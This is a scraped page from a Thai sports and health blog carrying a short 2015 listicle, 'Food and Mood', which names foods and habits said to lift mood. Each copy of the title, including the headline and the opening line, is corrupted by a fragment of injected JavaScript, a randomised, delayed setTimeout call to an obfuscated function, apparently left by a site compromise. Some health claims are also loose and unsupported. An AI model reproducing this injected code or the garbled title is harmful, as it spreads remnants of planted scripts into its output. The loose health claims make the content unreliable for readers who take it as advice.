• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood

Kanthad Yangsattha by Kanthad Yangsattha
2 February 2015
in Feature, Healthy Tips, Tips & Technics
0
Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood : อาหารและอารมณ์

เราไม่สามารถควบคุมทุกสิ่งทุกอย่างได้ แต่คุณสามารถเลือกอะไรบางอย่างในชีวิตประจำวัน เพื่อปรับปรุงสภาพร่างกายและจิตใจของคุณ อย่างเช่น ด้วยตัวเลือกอาหารที่อร่อยเหล่านี้

-ชาเขียว: ช่วยให้สงบและให้พลังงานทั้งวัน

cup-2176_1280

-ข้าวโอ๊ตบด: มีใยอาหารที่ดีต่อสุขภาพ มีคุณสมบัติช่วยลดคอเลสเตอรอล ลดอาการอยากอาหาร

-อาหารทะเล: Aphrodisiac และ Selenium ช่วยลดความเครียด

-ช็อกโกแลตดำ: ช่วยผ่อนคลายกล้ามเนื้อ ช่วยลดความกังวลและภาวะซึมเศร้า

chocolate-551424_1280

-ปลาแซลมอน: ช่วยในการพัฒนาสุขภาพจิต อารมณ์ดี เหมือนวิ่งตากแดดยามเช้า 5 นาที

-วอลนัท: มีเส้นใยและกรดโอเมก้า3 ช่วยลดไขมันและลดความอยากอาหารของคุณ

-ถั่วเลนทิล: มีกรดโฟลิค, เส้นใย, โปรตีนและช่วยให้ระดับน้ำตาลในเลือดคงที่

chana-390705_1280

-ผักขม: มีสารต้านอะนุมูลอิสระป้องกันเซลล์สมองและเสถียรภาพทางอารมณ์

-อะโวกาโด: ดีสำหรับผิว ผม และเล็บเล็บคุณ

avocado-71567_1280

-บลูเบอร์รี่ , สตรอเบอร์รี่: ดีสำหรับผู้ที่เป็นโรคริดสีดวงทวารโรคท้องร่วงและอาการติดเชื้อ

-เครื่องดื่มคาเฟอีนให้น้อยลง: ทำให้มีการนอนหลับที่ดีขึ้นและมีความรู้สึกดีขึ้นทุกๆวัน

-สัตว์เลี้ยงของคุณ: ช่วยให้ใจลืมปัญหาไปพักหนึ่ง

.hedgehog-468228_1280

-ออกกำลังกาย: ทำให้คุณรู้สึกว่าดูเซ็กซี่ขึ้น

-ช็อกโกแลตร้อน: ช่วยให้ระลึกถึงความหลังที่ดี ดื่มแต่พอดีนะ

-ไวน์แดง: ช่วยลดความเครียดและความดันโลหิต แต่ควรดื่มอย่างพอเหมาะ

wine-541922_1280

-กล้วย: ช่วยเพิ่มพลังงานให้กับคุณและเพิ่มสมาธิ

-อาหารที่คุณชอบ: คุณจะรู้สึกดีขึ้นทันที

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.